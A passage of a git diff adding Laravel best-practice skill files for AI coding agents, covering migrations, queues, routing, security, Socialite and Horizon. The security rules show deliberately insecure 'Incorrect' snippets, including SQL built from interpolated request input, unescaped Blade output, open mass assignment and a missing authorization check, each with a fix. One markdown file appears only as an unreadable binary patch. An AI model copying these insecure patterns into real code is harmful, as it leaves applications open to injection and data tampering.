+## Mirror Defaults in Model `$attributes`
+
+When a column has a database default, mirror it in the model so new instances have correct values before saving.
+
+```php
+// Migration
+$table->string('status')->default('pending');
+
+// Model
+protected $attributes = [
+ 'status' => 'pending',
+];
+```
+
+## Write Reversible `down()` Methods by Default
+
+Implement `down()` for schema changes that can be safely reversed so `migrate:rollback` works in CI and failed deployments.
+
+```php
+public function down(): void
+{
+ Schema::table('posts', function (Blueprint $table) {
+ $table->dropColumn('slug');
+ });
+}
+```
+
+For intentionally irreversible migrations (e.g., destructive data backfills), leave a clear comment and require a forward fix migration instead of pretending rollback is supported.
+
+## Keep Migrations Focused
+
+One concern per migration. Never mix DDL (schema changes) and DML (data manipulation).
+
+Incorrect (partial failure creates unrecoverable state):
+```php
+public function up(): void
+{
+ Schema::create('settings', function (Blueprint $table) { ... });
+ DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+}
+```
+
+Correct (separate migrations):
+```php
+// Migration 1: create_settings_table
+Schema::create('settings', function (Blueprint $table) { ... });
+
+// Migration 2: seed_default_settings
+DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/queue-jobs.md b/.agents/skills/laravel-best-practices/rules/queue-jobs.md
new file mode 100644
index 000000000..d4575aac0
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/queue-jobs.md
@@ -0,0 +1,146 @@
+# Queue & Job Best Practices
+
+## Set `retry_after` Greater Than `timeout`
+
+If `retry_after` is shorter than the job's `timeout`, the queue worker re-dispatches the job while it's still running, causing duplicate execution.
+
+Incorrect (`retry_after` ≤ `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 90 ← job retried while still running!
+```
+
+Correct (`retry_after` > `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 180 ← safely longer than any job timeout
+```
+
+## Use Exponential Backoff
+
+Use progressively longer delays between retries to avoid hammering failing services.
+
+Incorrect (fixed retry interval):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ // Default: retries immediately, overwhelming the API
+}
+```
+
+Correct (exponential backoff):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ public $backoff = [1, 5, 10];
+}
+```
+
+## Implement `ShouldBeUnique`
+
+Prevent duplicate job processing.
+
+```php
+class GenerateInvoice implements ShouldQueue, ShouldBeUnique
+{
+ public function uniqueId(): string
+ {
+ return $this->order->id;
+ }
+
+ public $uniqueFor = 3600;
+}
+```
+
+## Always Implement `failed()`
+
+Handle errors explicitly — don't rely on silent failure.
+
+```php
+public function failed(?Throwable $exception): void
+{
+ $this->podcast->update(['status' => 'failed']);
+ Log::error('Processing failed', ['id' => $this->podcast->id, 'error' => $exception->getMessage()]);
+}
+```
+
+## Rate Limit External API Calls in Jobs
+
+Use `RateLimited` middleware to throttle jobs calling third-party APIs.
+
+```php
+public function middleware(): array
+{
+ return [new RateLimited('external-api')];
+}
+```
+
+## Batch Related Jobs
+
+Use `Bus::batch()` when jobs should succeed or fail together.
+
+```php
+Bus::batch([
+ new ImportCsvChunk($chunk1),
+ new ImportCsvChunk($chunk2),
+])
+->then(fn (Batch $batch) => Notification::send($user, new ImportComplete))
+->catch(fn (Batch $batch, Throwable $e) => Log::error('Batch failed'))
+->dispatch();
+```
+
+## `retryUntil()` Needs `$tries = 0`
+
+When using time-based retry limits, set `$tries = 0` to avoid premature failure.
+
+```php
+public $tries = 0;
+
+public function retryUntil(): DateTime
+{
+ return now()->addHours(4);
+}
+```
+
+## Use `WithoutOverlapping::untilProcessing()`
+
+Prevents concurrent execution while allowing new instances to queue.
+
+```php
+public function middleware(): array
+{
+ return [new WithoutOverlapping($this->product->id)->untilProcessing()];
+}
+```
+
+Without `untilProcessing()`, the lock extends through queue wait time. With it, the lock releases when processing starts.
+
+## Use Horizon for Complex Queue Scenarios
+
+Use Laravel Horizon when you need monitoring, auto-scaling, failure tracking, or multiple queues with different priorities.
+
+```php
+// config/horizon.php
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['high', 'default', 'low'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+ ],
+],
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/routing.md b/.agents/skills/laravel-best-practices/rules/routing.md
new file mode 100644
index 000000000..e288375d7
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/routing.md
@@ -0,0 +1,98 @@
+# Routing & Controllers Best Practices
+
+## Use Implicit Route Model Binding
+
+Let Laravel resolve models automatically from route parameters.
+
+Incorrect:
+```php
+public function show(int $id)
+{
+ $post = Post::findOrFail($id);
+}
+```
+
+Correct:
+```php
+public function show(Post $post)
+{
+ return view('posts.show', ['post' => $post]);
+}
+```
+
+## Use Scoped Bindings for Nested Resources
+
+Enforce parent-child relationships automatically.
+
+```php
+Route::get('/users/{user}/posts/{post}', function (User $user, Post $post) {
+ // $post is automatically scoped to $user
+})->scopeBindings();
+```
+
+## Use Resource Controllers
+
+Use `Route::resource()` or `apiResource()` for RESTful endpoints.
+
+```php
+Route::resource('posts', PostController::class);
+Route::apiResource('api/posts', Api\PostController::class);
+```
+
+## Keep Controllers Thin
+
+Aim for under 10 lines per method. Extract business logic to action or service classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $validated = $request->validate([...]);
+ if ($request->hasFile('image')) {
+ $request->file('image')->move(public_path('images'));
+ }
+ $post = Post::create($validated);
+ $post->tags()->sync($validated['tags']);
+ event(new PostCreated($post));
+ return redirect()->route('posts.show', $post);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request, CreatePostAction $create)
+{
+ $post = $create->execute($request->validated());
+
+ return redirect()->route('posts.show', $post);
+}
+```
+
+## Type-Hint Form Requests
+
+Type-hinting Form Requests triggers automatic validation and authorization before the method executes.
+
+Incorrect:
+```php
+public function store(Request $request): RedirectResponse
+{
+ $validated = $request->validate([
+ 'title' => ['required', 'max:255'],
+ 'body' => ['required'],
+ ]);
+
+ Post::create($validated);
+
+ return redirect()->route('posts.index');
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request): RedirectResponse
+{
+ Post::create($request->validated());
+
+ return redirect()->route('posts.index');
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/scheduling.md b/.agents/skills/laravel-best-practices/rules/scheduling.md
new file mode 100644
index 000000000..dfaefa26f
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/scheduling.md
@@ -0,0 +1,39 @@
+# Task Scheduling Best Practices
+
+## Use `withoutOverlapping()` on Variable-Duration Tasks
+
+Without it, a long-running task spawns a second instance on the next tick, causing double-processing or resource exhaustion.
+
+## Use `onOneServer()` on Multi-Server Deployments
+
+Without it, every server runs the same task simultaneously. Requires a shared cache driver (Redis, database, Memcached).
+
+## Use `runInBackground()` for Concurrent Long Tasks
+
+By default, tasks at the same tick run sequentially. A slow first task delays all subsequent ones. `runInBackground()` runs them as separate processes.
+
+## Use `environments()` to Restrict Tasks
+
+Prevent accidental execution of production-only tasks (billing, reporting) on staging.
+
+```php
+Schedule::command('billing:charge')->monthly()->environments(['production']);
+```
+
+## Use `takeUntilTimeout()` for Time-Bounded Processing
+
+A task running every 15 minutes that processes an unbounded cursor can overlap with the next run. Bound execution time.
+
+## Use Schedule Groups for Shared Configuration
+
+Avoid repeating `->onOneServer()->timezone('America/New_York')` across many tasks.
+
+```php
+Schedule::daily()
+ ->onOneServer()
+ ->timezone('America/New_York')
+ ->group(function () {
+ Schedule::command('emails:send --force');
+ Schedule::command('emails:prune');
+ });
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/security.md b/.agents/skills/laravel-best-practices/rules/security.md
new file mode 100644
index 000000000..524d47e61
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/security.md
@@ -0,0 +1,198 @@
+# Security Best Practices
+
+## Mass Assignment Protection
+
+Every model must define `$fillable` (whitelist) or `$guarded` (blacklist).
+
+Incorrect:
+```php
+class User extends Model
+{
+ protected $guarded = []; // All fields are mass assignable
+}
+```
+
+Correct:
+```php
+class User extends Model
+{
+ protected $fillable = [
+ 'name',
+ 'email',
+ 'password',
+ ];
+}
+```
+
+Never use `$guarded = []` on models that accept user input.
+
+## Authorize Every Action
+
+Use policies or gates in controllers. Never skip authorization.
+
+Incorrect:
+```php
+public function update(Request $request, Post $post)
+{
+ $post->update($request->validated());
+}
+```
+
+Correct:
+```php
+public function update(UpdatePostRequest $request, Post $post)
+{
+ Gate::authorize('update', $post);
+
+ $post->update($request->validated());
+}
+```
+
+Or via Form Request:
+
+```php
+public function authorize(): bool
+{
+ return $this->user()->can('update', $this->route('post'));
+}
+```
+
+## Prevent SQL Injection
+
+Always use parameter binding. Never interpolate user input into queries.
+
+Incorrect:
+```php
+DB::select("SELECT * FROM users WHERE name = '{$request->name}'");
+```
+
+Correct:
+```php
+User::where('name', $request->name)->get();
+
+// Raw expressions with bindings
+User::whereRaw('LOWER(name) = ?', [strtolower($request->name)])->get();
+```
+
+## Escape Output to Prevent XSS
+
+Use `{{ }}` for HTML escaping. Only use `{!! !!}` for trusted, pre-sanitized content.
+
+Incorrect:
+```blade
+{!! $user->bio !!}
+```
+
+Correct:
+```blade
+{{ $user->bio }}
+```
+
+## CSRF Protection
+
+Include `@csrf` in all POST/PUT/DELETE Blade forms. Not needed in Inertia.
+
+Incorrect:
+```blade
+
+```
+
+Correct:
+```blade
+
+```
+
+## Rate Limit Auth and API Routes
+
+Apply `throttle` middleware to authentication and API routes.
+
+```php
+RateLimiter::for('login', function (Request $request) {
+ return Limit::perMinute(5)->by($request->ip());
+});
+
+Route::post('/login', LoginController::class)->middleware('throttle:login');
+```
+
+## Validate File Uploads
+
+Validate MIME type, extension, and size. Never trust client-provided filenames.
+
+```php
+public function rules(): array
+{
+ return [
+ 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048'],
+ ];
+}
+```
+
+Store with generated filenames:
+
+```php
+$path = $request->file('avatar')->store('avatars', 'public');
+```
+
+## Keep Secrets Out of Code
+
+Never commit `.env`. Access secrets via `config()` only.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'api_key' => env('API_KEY'),
+
+// In application code
+$key = config('services.api_key');
+```
+
+## Audit Dependencies
+
+Run `composer audit` periodically to check for known vulnerabilities in dependencies. Automate this in CI to catch issues before deployment.
+
+```bash
+composer audit
+```
+
+## Encrypt Sensitive Database Fields
+
+Use `encrypted` cast for API keys/tokens and mark the attribute as `hidden`.
+
+Incorrect:
+```php
+class Integration extends Model
+{
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'string',
+ ];
+ }
+}
+```
+
+Correct:
+```php
+class Integration extends Model
+{
+ protected $hidden = ['api_key', 'api_secret'];
+
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'encrypted',
+ 'api_secret' => 'encrypted',
+ ];
+ }
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/style.md b/.agents/skills/laravel-best-practices/rules/style.md
new file mode 100644
index 0000000000000000000000000000000000000000..db689bf774d1763ac3ec520a3874015f5421ff5b
GIT binary patch
literal 4443
zcmb7H|8g6*5$@mj6gxJXBU_TPGV!!SM{H%Ls*_r-YD&%@j)w&AKoK^0I0HCRY@C@s
zM4zxv(rqc3Rg4_YS46<&Z-l2$9V!-oHYUfv=K_C|PowZt|LcB75;$1eTUe78Vh&a+E%-f!B^_a3OyuOh!1j+3CF~xh&C6Q
z*=`XQmT8HzBMo|P)XsSFwYJu8q05a}Nq8>Un^s}fxWXTc+D!ClW^}bJz?`D4gwP={HL5A^SnD#A?)(C5LRZ
zR@zG|^YKcHT#n048H9Q7>X){{QHr&?hq_KiVE^8jd(B0!WswWps*3d4DH&@1R8(75
z(o_>v@X2ovWz1l+2v>~J<^>HjOLin4++uISp>Q7sc=
zww6}<$`&|bt}L=XnXE+ip&z}g_gV`3HWN5EPEweC&DDJI?qyj{CR+efKb>jeTy0sD
zWtYI5qv?KwV!+7*dZa^2FYxC)TK@TN*ocD0=F&btK-5a%Wxf!e#ktaJd!wnwhV#M0
z|0*OpGDbs1S7xm&uSe55UhMTw=n7u9VGYd&_0x8mxwqVDzMxBM#erT(T>>Yi70@@Er6gkS%swHiLEM*)?2zc&R!b$)u{^0DPCWn-5getf^
zqwL-7)#&%+#9FdML00VP=EV)It0I7c8`GuUi-V&wR=MBE?KnxIkV45w0(RotSq(2
z5JBRcjqs-zn!;f43?h8rSf*Nmx8L*f!4K&P%HqkB0gWjgkH;zaLPU;y;I-Mt_EVJK
z5225`U*USQfgjQV7uBs9|qK
z8N(d$vlHhUP>F9>t{hc!
zpk(1NTthYH##aU%kYRXf1Z5TJ#a|1EE=6q<>`nN5$zBCL1$xV1li$&!Wm{EWjJgF+mOY
z2m}FlAue$xtpY2C90Ue9gpB9NU51F{eEN|$BM6k3O;JN_tnZ3KW*Cu$J)pVA7jKfx
zaAd+LQR$pk$3cm3G=+DZ*%xEtGUz;w>gE-uon7-1V<>b8zw_u7Tofqy@TeZsE$W5A
zjUuG+Q%gDQht~?1jCf*ZqtdaFudezoDD5U(J5b>JS*l%5P?3c6WmL#(LhH_DBsfbQ>Dd4CXi
F{|%Ge#T5Vm
literal 0
HcmV?d00001
diff --git a/.agents/skills/laravel-best-practices/rules/testing.md b/.agents/skills/laravel-best-practices/rules/testing.md
new file mode 100644
index 000000000..d39cc3ed0
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/testing.md
@@ -0,0 +1,43 @@
+# Testing Best Practices
+
+## Use `LazilyRefreshDatabase` Over `RefreshDatabase`
+
+`RefreshDatabase` runs all migrations every test run even when the schema hasn't changed. `LazilyRefreshDatabase` only migrates when needed, significantly speeding up large suites.
+
+## Use Model Assertions Over Raw Database Assertions
+
+Incorrect: `$this->assertDatabaseHas('users', ['id' => $user->id]);`
+
+Correct: `$this->assertModelExists($user);`
+
+More expressive, type-safe, and fails with clearer messages.
+
+## Use Factory States and Sequences
+
+Named states make tests self-documenting. Sequences eliminate repetitive setup.
+
+Incorrect: `User::factory()->create(['email_verified_at' => null]);`
+
+Correct: `User::factory()->unverified()->create();`
+
+## Use `Exceptions::fake()` to Assert Exception Reporting
+
+Instead of `withoutExceptionHandling()`, use `Exceptions::fake()` to assert the correct exception was reported while the request completes normally.
+
+## Call `Event::fake()` After Factory Setup
+
+Model factories rely on model events (e.g., `creating` to generate UUIDs). Calling `Event::fake()` before factory calls silences those events, producing broken models.
+
+Incorrect: `Event::fake(); $user = User::factory()->create();`
+
+Correct: `$user = User::factory()->create(); Event::fake();`
+
+## Use `recycle()` to Share Relationship Instances Across Factories
+
+Without `recycle()`, nested factories create separate instances of the same conceptual entity.
+
+```php
+Ticket::factory()
+ ->recycle(Airline::factory()->create())
+ ->create();
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/validation.md b/.agents/skills/laravel-best-practices/rules/validation.md
new file mode 100644
index 000000000..a20202ff1
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/validation.md
@@ -0,0 +1,75 @@
+# Validation & Forms Best Practices
+
+## Use Form Request Classes
+
+Extract validation from controllers into dedicated Form Request classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $request->validate([
+ 'title' => 'required|max:255',
+ 'body' => 'required',
+ ]);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request)
+{
+ Post::create($request->validated());
+}
+```
+
+## Array vs. String Notation for Rules
+
+Array syntax is more readable and composes cleanly with `Rule::` objects. Prefer it in new code, but check existing Form Requests first and match whatever notation the project already uses.
+
+```php
+// Preferred for new code
+'email' => ['required', 'email', Rule::unique('users')],
+
+// Follow existing convention if the project uses string notation
+'email' => 'required|email|unique:users',
+```
+
+## Always Use `validated()`
+
+Get only validated data. Never use `$request->all()` for mass operations.
+
+Incorrect:
+```php
+Post::create($request->all());
+```
+
+Correct:
+```php
+Post::create($request->validated());
+```
+
+## Use `Rule::when()` for Conditional Validation
+
+```php
+'company_name' => [
+ Rule::when($this->account_type === 'business', ['required', 'string', 'max:255']),
+],
+```
+
+## Use the `after()` Method for Custom Validation
+
+Use `after()` instead of `withValidator()` for custom validation logic that depends on multiple fields.
+
+```php
+public function after(): array
+{
+ return [
+ function (Validator $validator) {
+ if ($this->quantity > Product::find($this->product_id)?->stock) {
+ $validator->errors()->add('quantity', 'Not enough stock.');
+ }
+ },
+ ];
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/socialite-development/SKILL.md b/.agents/skills/socialite-development/SKILL.md
new file mode 100644
index 000000000..e660da691
--- /dev/null
+++ b/.agents/skills/socialite-development/SKILL.md
@@ -0,0 +1,80 @@
+---
+name: socialite-development
+description: "Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Socialite Authentication
+
+## Documentation
+
+Use `search-docs` for detailed Socialite patterns and documentation (installation, configuration, routing, callbacks, testing, scopes, stateless auth).
+
+## Available Providers
+
+Built-in: `facebook`, `twitter`, `twitter-oauth-2`, `linkedin`, `linkedin-openid`, `google`, `github`, `gitlab`, `bitbucket`, `slack`, `slack-openid`, `twitch`
+
+Community: 150+ additional providers at [socialiteproviders.com](https://socialiteproviders.com). For provider-specific setup, use `WebFetch` on `https://socialiteproviders.com/{provider-name}`.
+
+Configuration key in `config/services.php` must match the driver name exactly — note the hyphenated keys: `twitter-oauth-2`, `linkedin-openid`, `slack-openid`.
+
+Twitter/X: Use `twitter-oauth-2` (OAuth 2.0) for new projects. The legacy `twitter` driver is OAuth 1.0. Driver names remain unchanged despite the platform rebrand.
+
+Community providers differ from built-in providers in the following ways:
+- Installed via `composer require socialiteproviders/{name}`
+- Must register via event listener — NOT auto-discovered like built-in providers
+- Use `search-docs` for the registration pattern
+
+## Adding a Provider
+
+### 1. Configure the provider
+
+Add the provider's `client_id`, `client_secret`, and `redirect` to `config/services.php`. The config key must match the driver name exactly.
+
+### 2. Create redirect and callback routes
+
+Two routes are needed: one that calls `Socialite::driver('provider')->redirect()` to send the user to the OAuth provider, and one that calls `Socialite::driver('provider')->user()` to receive the callback and retrieve user details.
+
+### 3. Authenticate and store the user
+
+In the callback, use `updateOrCreate` to find or create a user record from the provider's response (`id`, `name`, `email`, `token`, `refreshToken`), then call `Auth::login()`.
+
+### 4. Customize the redirect (optional)
+
+- `scopes()` — merge additional scopes with the provider's defaults
+- `setScopes()` — replace all scopes entirely
+- `with()` — pass optional parameters (e.g., `['hd' => 'example.com']` for Google)
+- `asBotUser()` — Slack only; generates a bot token (`xoxb-`) instead of a user token (`xoxp-`). Must be called before both `redirect()` and `user()`. Only the `token` property will be hydrated on the user object.
+- `stateless()` — for API/SPA contexts where session state is not maintained
+
+### 5. Verify
+
+1. Config key matches driver name exactly (check the list above for hyphenated names)
+2. `client_id`, `client_secret`, and `redirect` are all present
+3. Redirect URL matches what is registered in the provider's OAuth dashboard
+4. Callback route handles denied grants (when user declines authorization)
+
+Use `search-docs` for complete code examples of each step.
+
+## Additional Features
+
+Use `search-docs` for usage details on: `enablePKCE()`, `userFromToken($token)`, `userFromTokenAndSecret($token, $secret)` (OAuth 1.0), retrieving user details.
+
+User object: `getId()`, `getName()`, `getEmail()`, `getAvatar()`, `getNickname()`, `token`, `refreshToken`, `expiresIn`, `approvedScopes`
+
+## Testing
+
+Socialite provides `Socialite::fake()` for testing redirects and callbacks. Use `search-docs` for faking redirects, callback user data, custom token properties, and assertion methods.
+
+## Common Pitfalls
+
+- Config key must match driver name exactly — hyphenated drivers need hyphenated keys (`linkedin-openid`, `slack-openid`, `twitter-oauth-2`). Mismatch silently fails.
+- Every provider needs `client_id`, `client_secret`, and `redirect` in `config/services.php`. Missing any one causes cryptic errors.
+- `scopes()` merges with defaults; `setScopes()` replaces all scopes entirely.
+- Missing `stateless()` in API/SPA contexts causes `InvalidStateException`.
+- Redirect URL in `config/services.php` must exactly match the provider's OAuth dashboard (including trailing slashes and protocol).
+- Do not pass `state`, `response_type`, `client_id`, `redirect_uri`, or `scope` via `with()` — these are reserved.
+- Community providers require event listener registration via `SocialiteWasCalled`.
+- `user()` throws when the user declines authorization. Always handle denied grants.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/SKILL.md b/.claude/skills/configuring-horizon/SKILL.md
new file mode 100644
index 000000000..bed1e74c0
--- /dev/null
+++ b/.claude/skills/configuring-horizon/SKILL.md
@@ -0,0 +1,85 @@
+---
+name: configuring-horizon
+description: "Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Horizon Configuration
+
+## Documentation
+
+Use `search-docs` for detailed Horizon patterns and documentation covering configuration, supervisors, balancing, dashboard authorization, tags, notifications, metrics, and deployment.
+
+For deeper guidance on specific topics, read the relevant reference file before implementing:
+
+- `references/supervisors.md` covers supervisor blocks, balancing strategies, multi-queue setups, and auto-scaling
+- `references/notifications.md` covers LongWaitDetected alerts, notification routing, and the `waits` config
+- `references/tags.md` covers job tagging, dashboard filtering, and silencing noisy jobs
+- `references/metrics.md` covers the blank metrics dashboard, snapshot scheduling, and retention config
+
+## Basic Usage
+
+### Installation
+
+```bash
+php artisan horizon:install
+```
+
+### Supervisor Configuration
+
+Define supervisors in `config/horizon.php`. The `environments` array merges into `defaults` and does not replace the whole supervisor block:
+
+
+```php
+'defaults' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['default'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+],
+
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => ['maxProcesses' => 20, 'balanceCooldown' => 3],
+ ],
+ 'local' => [
+ 'supervisor-1' => ['maxProcesses' => 2],
+ ],
+],
+```
+
+### Dashboard Authorization
+
+Restrict access in `App\Providers\HorizonServiceProvider`:
+
+
+```php
+protected function gate(): void
+{
+ Gate::define('viewHorizon', function (User $user) {
+ return $user->is_admin;
+ });
+}
+```
+
+## Verification
+
+1. Run `php artisan horizon` and visit `/horizon`
+2. Confirm dashboard access is restricted as expected
+3. Check that metrics populate after scheduling `horizon:snapshot`
+
+## Common Pitfalls
+
+- Horizon only works with the Redis queue driver. Other drivers such as database and SQS are not supported.
+- Redis Cluster is not supported. Horizon requires a standalone Redis connection.
+- Always check `config/horizon.php` before making changes to understand the current supervisor and environment configuration.
+- The `environments` array overrides only the keys you specify. It merges into `defaults` and does not replace it.
+- The timeout chain must be ordered: job `timeout` less than supervisor `timeout` less than `retry_after`. The wrong order can cause jobs to be retried before Horizon finishes timing them out.
+- The metrics dashboard stays blank until `horizon:snapshot` is scheduled. Running `php artisan horizon` alone does not populate metrics.
+- Always use `search-docs` for the latest Horizon documentation rather than relying on this skill alone.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/references/metrics.md b/.claude/skills/configuring-horizon/references/metrics.md
new file mode 100644
index 000000000..312f79ee7
--- /dev/null
+++ b/.claude/skills/configuring-horizon/references/metrics.md
@@ -0,0 +1,21 @@
+# Metrics & Snapshots
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon metrics snapshot"` for the snapshot command and scheduling
+- `"horizon trim snapshots"` for retention configuration
+
+## What to Watch For
+
+### Metrics dashboard stays blank until `horizon:snapshot` is scheduled
+
+Running `horizon` artisan command does not populate metrics automatically. The metrics graph is built from snapshots, so `horizon:snapshot` must be scheduled to run every 5 minutes via Laravel's scheduler.
+
+### Register the snapshot in the scheduler rather than running it manually
+
+A single manual run populates the dashboard momentarily but will not keep it updated. Search `"horizon metrics snapshot"` for the exact scheduler registration syntax, which differs between Laravel 10 and 11+.
+
+### `metrics.trim_snapshots` is a snapshot count, not a time duration
+
+The `trim_snapshots.job` and `trim_snapshots.queue` values in `config/horizon.php` are counts of snapshots to keep, not minutes or hours. With the default of 24 snapshots at 5-minute intervals, that provides 2 hours of history. Increase the value to retain more history at the cost of Redis memory usage.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/references/notifications.md b/.claude/skills/configuring-horizon/references/notifications.md
new file mode 100644
index 000000000..943d1a26a
--- /dev/null
+++ b/.claude/skills/configuring-horizon/references/notifications.md
@@ -0,0 +1,21 @@
+# Notifications & Alerts
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon notifications"` for Horizon's built-in notification routing helpers
+- `"horizon long wait detected"` for LongWaitDetected event details
+
+## What to Watch For
+
+### `waits` in `config/horizon.php` controls the LongWaitDetected threshold
+
+The `waits` array (e.g., `'redis:default' => 60`) defines how many seconds a job can wait in a queue before Horizon fires a `LongWaitDetected` event. This value is set in the config file, not in Horizon's notification routing. If alerts are firing too often or too late, adjust `waits` rather than the routing configuration.
+
+### Use Horizon's built-in notification routing in `HorizonServiceProvider`
+
+Configure notifications in the `boot()` method of `App\Providers\HorizonServiceProvider` using `Horizon::routeMailNotificationsTo()`, `Horizon::routeSlackNotificationsTo()`, or `Horizon::routeSmsNotificationsTo()`. Horizon already wires `LongWaitDetected` to its notification sender, so the documented setup is notification routing rather than manual listener registration.
+
+### Failed job alerts are separate from Horizon's documented notification routing
+
+Horizon's 12.x documentation covers built-in long-wait notifications. Do not assume the docs provide a `JobFailed` listener example in `HorizonServiceProvider`. If a user needs failed job alerts, treat that as custom queue event handling and consult the queue documentation instead of Horizon's notification-routing API.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/references/supervisors.md b/.claude/skills/configuring-horizon/references/supervisors.md
new file mode 100644
index 000000000..9da0c1769
--- /dev/null
+++ b/.claude/skills/configuring-horizon/references/supervisors.md
@@ -0,0 +1,27 @@
+# Supervisor & Balancing Configuration
+
+## Where to Find It
+
+Search with `search-docs` before writing any supervisor config, as option names and defaults change between Horizon versions:
+- `"horizon supervisor configuration"` for the full options list
+- `"horizon balancing strategies"` for auto, simple, and false modes
+- `"horizon autoscaling workers"` for autoScalingStrategy details
+- `"horizon environment configuration"` for the defaults and environments merge
+
+## What to Watch For
+
+### The `environments` array merges into `defaults` rather than replacing it
+
+The `defaults` array defines the complete base supervisor config. The `environments` array patches it per environment, overriding only the keys listed. There is no need to repeat every key in each environment block. A common pattern is to define `connection`, `queue`, `balance`, `autoScalingStrategy`, `tries`, and `timeout` in `defaults`, then override only `maxProcesses`, `balanceMaxShift`, and `balanceCooldown` in `production`.
+
+### Use separate named supervisors to enforce queue priority
+
+Horizon does not enforce queue order when using `balance: auto` on a single supervisor. The `queue` array order is ignored for load balancing. To process `notifications` before `default`, use two separately named supervisors: one for the high-priority queue with a higher `maxProcesses`, and one for the low-priority queue with a lower cap. The docs include an explicit note about this.
+
+### Use `balance: false` to keep a fixed number of workers on a dedicated queue
+
+Auto-balancing suits variable load, but if a queue should always have exactly N workers such as a video-processing queue limited to 2, set `balance: false` and `maxProcesses: 2`. Auto-balancing would scale it up during bursts, which may be undesirable.
+
+### Set `balanceCooldown` to prevent rapid worker scaling under bursty load
+
+When using `balance: auto`, the supervisor can scale up and down rapidly under bursty load. Set `balanceCooldown` to the number of seconds between scaling decisions, typically 3 to 5, to smooth this out. `balanceMaxShift` limits how many processes are added or removed per cycle.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/references/tags.md b/.claude/skills/configuring-horizon/references/tags.md
new file mode 100644
index 000000000..263c955c1
--- /dev/null
+++ b/.claude/skills/configuring-horizon/references/tags.md
@@ -0,0 +1,21 @@
+# Tags & Silencing
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon tags"` for the tagging API and auto-tagging behaviour
+- `"horizon silenced jobs"` for the `silenced` and `silenced_tags` config options
+
+## What to Watch For
+
+### Eloquent model jobs are tagged automatically without any extra code
+
+If a job's constructor accepts Eloquent model instances, Horizon automatically tags the job with `ModelClass:id` such as `App\Models\User:42`. These tags are filterable in the dashboard without any changes to the job class. Only add a `tags()` method when custom tags beyond auto-tagging are needed.
+
+### `silenced` hides jobs from the dashboard completed list but does not stop them from running
+
+Adding a job class to the `silenced` array in `config/horizon.php` removes it from the completed jobs view. The job still runs normally. This is a dashboard noise-reduction tool, not a way to disable jobs.
+
+### `silenced_tags` hides all jobs carrying a matching tag from the completed list
+
+Any job carrying a matching tag string is hidden from the completed jobs view. This is useful for silencing a category of jobs such as all jobs tagged `notifications`, rather than silencing specific classes.
\ No newline at end of file
diff --git a/.claude/skills/fortify-development/SKILL.md b/.claude/skills/fortify-development/SKILL.md
new file mode 100644
index 000000000..86322d9c0
--- /dev/null
+++ b/.claude/skills/fortify-development/SKILL.md
@@ -0,0 +1,131 @@
+---
+name: fortify-development
